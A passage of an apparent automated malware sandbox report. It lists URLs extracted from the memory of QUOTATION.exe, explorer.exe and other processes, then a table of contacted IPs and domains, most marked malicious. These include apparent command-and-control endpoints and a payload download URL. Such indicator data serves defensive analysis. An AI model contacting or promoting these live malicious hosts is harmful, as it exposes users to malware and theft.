http://schemas.microsoft.c	explorer.exe, 00000009.00000002.8021127369.000000000CFD9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4747873788.000000000CFD9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.4217880966.000000000CFD9000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hm.baidu.com/hm.js?c5f848a241986c827a6aea67b151df57	explorer.exe, 00000009.00000002.8041134967.00000000157BC000.00000004.80000000.00040000.00000000.sdmp, help.exe, 0000000A.00000002.8005674246.000000000527C000.00000004.10000000.00040000.00000000.sdmp	false		high
https://deff.nelreports.net/api/report?cat=msn	explorer.exe, 00000009.00000003.4747263289.00000000106FF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.4229381389.00000000106FF000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://excel.office.com	explorer.exe, 00000009.00000000.4217880966.000000000CF19000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.8021127369.000000000CF19000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.8021127369.000000000CEB0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.4217880966.000000000CEB0000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.buymyenergy.com/d91r/8H7gL=Bxcfm_qbbEGm	explorer.exe, 00000009.00000003.4931520595.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4737750627.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd-//W3O//DTD	QUOTATION.exe, 00000008.00000001.3526150899.0000000000626000.00000020.00000001.01000000.00000006.sdmp	false		high
http://www.gopher.ftp://ftp.	QUOTATION.exe, 00000008.00000001.3526150899.0000000000649000.00000020.00000001.01000000.00000006.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fantasticserver.yachts/d91r/	explorer.exe, 00000009.00000002.8035776642.0000000010A7E000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.finelinetackdirect.com/d91r/8H7gL=Bxcfm_qbbEGm	explorer.exe, 00000009.00000003.6305523833.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6291691505.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4931520595.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.8035776642.0000000010A7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6459015891.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6279844629.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4737750627.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.webnames.ru/help/faq?utm_source=shopwindow&utm_medium=click&utm_campaign=shopwindow_faq&	explorer.exe, 00000009.00000002.8041134967.0000000014676000.00000004.80000000.00040000.00000000.sdmp, help.exe, 0000000A.00000002.8005674246.0000000004136000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000000B.00000002.4515549771.00000000060A6000.00000004.80000000.00040000.00000000.sdmp	false		high
https://www.msn.com/en-us/new	explorer.exe, 00000009.00000000.4208684378.0000000009640000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/us/texas-gov-abbott-sends-miles-of-cars-along-border-to-deter-migrant	explorer.exe, 00000009.00000002.8008551512.0000000009640000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.4208684378.0000000009640000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.maxhaidt.com/d91r/8H7gL=Bxcfm_qbbEGm	explorer.exe, 00000009.00000003.4931520595.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4737750627.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	help.exe, 0000000A.00000002.8008447168.0000000007D95000.00000004.00000020.00020000.00000000.sdmp, help.exe, 0000000A.00000002.8008447168.0000000007E03000.00000004.00000020.00020000.00000000.sdmp, 4995H5Jfc.10.dr	false		high
http://www.funvacayflorida.com/?fp=dj8phrx%2FM7zn2%2BQxIl96VISg%2BlRAUkJF1tnEn7z1%2BPtQiCFpqnDhHGDoC	help.exe, 0000000A.00000002.8005674246.00000000058C4000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.popularartprints.org/d91r/ldE8Xu=oYWDxG4UFF1	explorer.exe, 00000009.00000002.8035776642.0000000010A7E000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.webnames.ru/domains/check?utm_source=shopwindow&utm_medium=click&utm_campaign=shopwindow	firefox.exe, 0000000B.00000002.4515549771.00000000060A6000.00000004.80000000.00040000.00000000.sdmp	false		high
http://www.dexmart.xyzwww.finelinetackdirect.com	explorer.exe, 00000009.00000003.4931520595.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4737750627.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppat	explorer.exe, 00000009.00000003.4747873788.000000000CFD9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.4217880966.000000000CFD9000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.eta-trader.net	explorer.exe, 00000009.00000003.6305523833.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6291691505.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4931520595.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6459015891.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6279844629.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4737750627.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css	explorer.exe, 00000009.00000002.8041134967.0000000015174000.00000004.80000000.00040000.00000000.sdmp, help.exe, 0000000A.00000002.8005674246.0000000004C34000.00000004.10000000.00040000.00000000.sdmp	false		high
http://www.maxhaidt.comwww.aznqmd.com	explorer.exe, 00000009.00000002.8035776642.0000000010A7E000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wns.windows.com/	explorer.exe, 00000009.00000002.8021127369.000000000D39C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.4217880966.000000000D39C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4747873788.000000000D39C000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.wittofitentertainment.com/VeHZpcMYNF28.bin(	QUOTATION.exe, 00000008.00000002.4313926438.0000000003418000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.webnames.ru/wn/img/logo-horizontal.svg	explorer.exe, 00000009.00000002.8041134967.0000000014676000.00000004.80000000.00040000.00000000.sdmp, help.exe, 0000000A.00000002.8005674246.0000000004136000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000000B.00000002.4515549771.00000000060A6000.00000004.80000000.00040000.00000000.sdmp	false		high
http://www.dhiyasecurities.comwww.popularartprints.org	explorer.exe, 00000009.00000002.8035776642.0000000010A7E000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.com/weathermapdata/1/static/svg/72/MostlySunnyDay.svg	explorer.exe, 00000009.00000002.8008551512.0000000009640000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.4208684378.0000000009640000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.solya-shop.com	explorer.exe, 00000009.00000003.6305523833.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6291691505.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4931520595.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.8016192740.000000000AF24000.00000040.80000000.00040000.00000000.sdmp, explorer.exe, 00000009.00000002.8035776642.0000000010A7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6459015891.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6279844629.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4737750627.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.solya-shop.comwww.buymyenergy.com	explorer.exe, 00000009.00000003.6305523833.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6291691505.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4931520595.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.8035776642.0000000010A7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6459015891.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6279844629.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4737750627.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.www.fantasticserver.yachts	explorer.exe, 00000009.00000002.8035776642.0000000010A7E000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/tv/celebrity/tarek-el-moussa-tests-positive-for-covid-19-shuts-down-filmin	explorer.exe, 00000009.00000002.8008551512.0000000009640000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.4208684378.0000000009640000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.finelinetackdirect.comwww.maxhaidt.com	explorer.exe, 00000009.00000003.6305523833.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6291691505.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4931520595.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.8035776642.0000000010A7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6459015891.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6279844629.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4737750627.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://trade.webnames.ru	explorer.exe, 00000009.00000002.8041134967.0000000014676000.00000004.80000000.00040000.00000000.sdmp, help.exe, 0000000A.00000002.8005674246.0000000004136000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000000B.00000002.4515549771.00000000060A6000.00000004.80000000.00040000.00000000.sdmp	false		high
http://www.brightfms.comwww.eta-trader.net	explorer.exe, 00000009.00000003.6305523833.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6291691505.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4931520595.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6459015891.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6279844629.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4737750627.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.popularartprints.org/d91r/	explorer.exe, 00000009.00000002.8035776642.0000000010A7E000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/technology/facebook-oversight-board-reviewing-xcheck-system-for-vips/	explorer.exe, 00000009.00000002.8008551512.0000000009640000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.4208684378.0000000009640000.00000004.00000001.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	help.exe, 0000000A.00000002.8008447168.0000000007D95000.00000004.00000020.00020000.00000000.sdmp, help.exe, 0000000A.00000002.8008447168.0000000007E03000.00000004.00000020.00020000.00000000.sdmp, 4995H5Jfc.10.dr	false		high
http://nsis.sf.net/NSIS_ErrorError	QUOTATION.exe	false		high
http://www.brightfms.com/d91r/?8H7gL=Bxcfm_qbbEGm&ch=1&js=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhd	explorer.exe, 00000009.00000002.8041134967.0000000015AE0000.00000004.80000000.00040000.00000000.sdmp, help.exe, 0000000A.00000002.8005674246.00000000055A0000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ghostdyes.net	explorer.exe, 00000009.00000003.6305523833.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6291691505.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4931520595.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6459015891.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6279844629.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4737750627.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.b-tek.mediawww.dexmart.xyz	explorer.exe, 00000009.00000003.6305523833.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6291691505.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4931520595.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.8035776642.0000000010A7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6459015891.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6279844629.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4737750627.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.symauth.com/cps0(	QUOTATION.exe, 00000002.00000003.3062330160.00000000028C8000.00000004.00000020.00020000.00000000.sdmp, SolutionExplorerCLI.dll.2.dr	false		high
https://outlook.com	explorer.exe, 00000009.00000002.8021127369.000000000CEB0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.4217880966.000000000CEB0000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.webnames.ru/ssl?utm_source=shopwindow&utm_medium=click&utm_campaign=shopwindow_ssl2&wn_c	explorer.exe, 00000009.00000002.8041134967.0000000014676000.00000004.80000000.00040000.00000000.sdmp, help.exe, 0000000A.00000002.8005674246.0000000004136000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000000B.00000002.4515549771.00000000060A6000.00000004.80000000.00040000.00000000.sdmp	false		high
https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppb	explorer.exe, 00000009.00000003.4747873788.000000000CFD9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.4217880966.000000000CFD9000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com/v1/news/Feed/Windows?activityId=5696A836803C42E0B53F7BB2770E5342&timeOut=10000&o	explorer.exe, 00000009.00000002.8008551512.0000000009640000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.4208684378.0000000009640000.00000004.00000001.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_Error	QUOTATION.exe	false		high
http://www.symauth.com/rpa00	QUOTATION.exe, 00000002.00000003.3062330160.00000000028C8000.00000004.00000020.00020000.00000000.sdmp, SolutionExplorerCLI.dll.2.dr	false		high
https://android.notify.windows.com/iOS	explorer.exe, 00000009.00000003.4747873788.000000000D3F5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6122981294.000000000D3F5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.4217880966.000000000D3F5000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.nero.com	QUOTATION.exe, 00000002.00000003.3062330160.00000000028C8000.00000004.00000020.00020000.00000000.sdmp, SolutionExplorerCLI.dll.2.dr	false		high
http://www.brightfms.com	explorer.exe, 00000009.00000003.6305523833.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6291691505.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4931520595.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6459015891.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6279844629.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4737750627.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.flaviosilva.online	explorer.exe, 00000009.00000003.6305523833.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6291691505.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4931520595.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.8035776642.0000000010A7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6459015891.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6279844629.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4737750627.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.dexmart.xyz/d91r/8H7gL=Bxcfm_qbbEGm	explorer.exe, 00000009.00000003.4931520595.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4737750627.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.buymyenergy.comwww.184411.com	explorer.exe, 00000009.00000003.6305523833.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6291691505.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4931520595.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.8035776642.0000000010A7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6459015891.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6279844629.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4737750627.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.eta-trader.net/d91r/8H7gL=Bxcfm_qbbEGm	explorer.exe, 00000009.00000003.6305523833.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6291691505.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4931520595.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6459015891.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6279844629.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4737750627.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.flaviosilva.onlinewww.solya-shop.com	explorer.exe, 00000009.00000003.6305523833.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6291691505.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4931520595.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.8035776642.0000000010A7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6459015891.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6279844629.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4737750627.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.aznqmd.comwww.	explorer.exe, 00000009.00000002.8035776642.0000000010A7E000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://word.office.com(	explorer.exe, 00000009.00000002.8021127369.000000000CEB0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.4217880966.000000000CEB0000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://www.webnames.ru/ssl?utm_source=shopwindow&utm_medium=click&utm_campaign=shopwindow_ssl_banne	explorer.exe, 00000009.00000002.8041134967.0000000014676000.00000004.80000000.00040000.00000000.sdmp, help.exe, 0000000A.00000002.8005674246.0000000004136000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000000B.00000002.4515549771.00000000060A6000.00000004.80000000.00040000.00000000.sdmp	false		high
http://browsehappy.com/	explorer.exe, 00000009.00000002.8041134967.000000001562A000.00000004.80000000.00040000.00000000.sdmp, help.exe, 0000000A.00000002.8005674246.00000000050EA000.00000004.10000000.00040000.00000000.sdmp	false		high
http://www.fantasticserver.yachts/d91r/ldE8Xu=oYWDxG4UFF1	explorer.exe, 00000009.00000002.8035776642.0000000010A7E000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.msn.com/v1/news/Feed/Windows?	explorer.exe, 00000009.00000002.8009354628.00000000096DC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6310377593.00000000096DC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6123718142.00000000096DC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.4208684378.00000000096DC000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.webnames.ru/help/feedback?utm_source=shopwindow&utm_medium=click&utm_campaign=shopwindow	explorer.exe, 00000009.00000002.8041134967.0000000014676000.00000004.80000000.00040000.00000000.sdmp, help.exe, 0000000A.00000002.8005674246.0000000004136000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000000B.00000002.4515549771.00000000060A6000.00000004.80000000.00040000.00000000.sdmp	false		high
http://www.fantasticserver.yachtswww.dhiyasecurities.com	explorer.exe, 00000009.00000002.8035776642.0000000010A7E000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.buymyenergy.com	explorer.exe, 00000009.00000003.6305523833.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6291691505.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4931520595.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.8035776642.0000000010A7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6459015891.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6279844629.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4737750627.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.cardinialethanol.com	explorer.exe, 00000009.00000003.6305523833.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6291691505.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4931520595.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.8035776642.0000000010A7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6459015891.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6279844629.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4737750627.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://23.83.160.2:88/tz.php?ref=	explorer.exe, 00000009.00000002.8041134967.00000000157BC000.00000004.80000000.00040000.00000000.sdmp, help.exe, 0000000A.00000002.8005674246.000000000527C000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.aznqmd.com	explorer.exe, 00000009.00000003.6305523833.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6291691505.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4931520595.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.8035776642.0000000010A7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6459015891.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6279844629.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4737750627.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.dhiyasecurities.com/d91r/ldE8Xu=oYWDxG4UFF1	explorer.exe, 00000009.00000002.8035776642.0000000010A7E000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.funvacayflorida.comT	explorer.exe, 00000009.00000003.6305523833.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6291691505.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4931520595.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6459015891.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6279844629.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4737750627.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.google.com/chrome/?p=plugin_flash	help.exe, 0000000A.00000002.8008447168.0000000007D80000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.b-tek.media	explorer.exe, 00000009.00000003.6305523833.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6291691505.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4931520595.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.8035776642.0000000010A7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6459015891.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6279844629.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4737750627.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ghostdyes.net/d91r/8H7gL=Bxcfm_qbbEGm	explorer.exe, 00000009.00000003.4931520595.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4737750627.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
91.184.0.24	www.b-tek.media	Netherlands	197902	HOSTNETNL	true
45.194.145.38	www.buymyenergy.com	Seychelles	134548	DXTL-HKDXTLTseungKwanOServiceHK	true
199.192.26.35	www.dexmart.xyz	United States	22612	NAMECHEAP-NETUS	true
217.160.0.217	www.solya-shop.com	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	true
45.56.79.23	www.cardinialethanol.com	United States	63949	LINODE-APLinodeLLCUS	true
154.215.156.6	bb.zhanghonghong.com	Seychelles	134548	DXTL-HKDXTLTseungKwanOServiceHK	true
34.117.168.233	td-ccm-168-233.wixdns.net	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	true
104.21.45.96	www.maxhaidt.com	United States	13335	CLOUDFLARENETUS	true
81.17.18.196	www.brightfms.com	Switzerland	51852	PLI-ASCH	true
23.83.160.9	www.aznqmd.com	United States	7203	LEASEWEB-USA-SFO-12US	true
162.240.73.101	www.wittofitentertainment.com	United States	46606	UNIFIEDLAYER-AS-1US	false
208.91.197.91	www.funvacayflorida.com	Virgin Islands (BRITISH)	40034	CONFLUENCE-NETWORK-INCVG	true
81.17.29.148	www.texasgent.com	Switzerland	51852	PLI-ASCH	true
88.212.206.251	www.interactive-media.ru	Russian Federation	39134	UNITEDNETRU	true
2.57.90.16	eta-trader.net	Lithuania	47583	AS-HOSTINGERLT	true

General Information

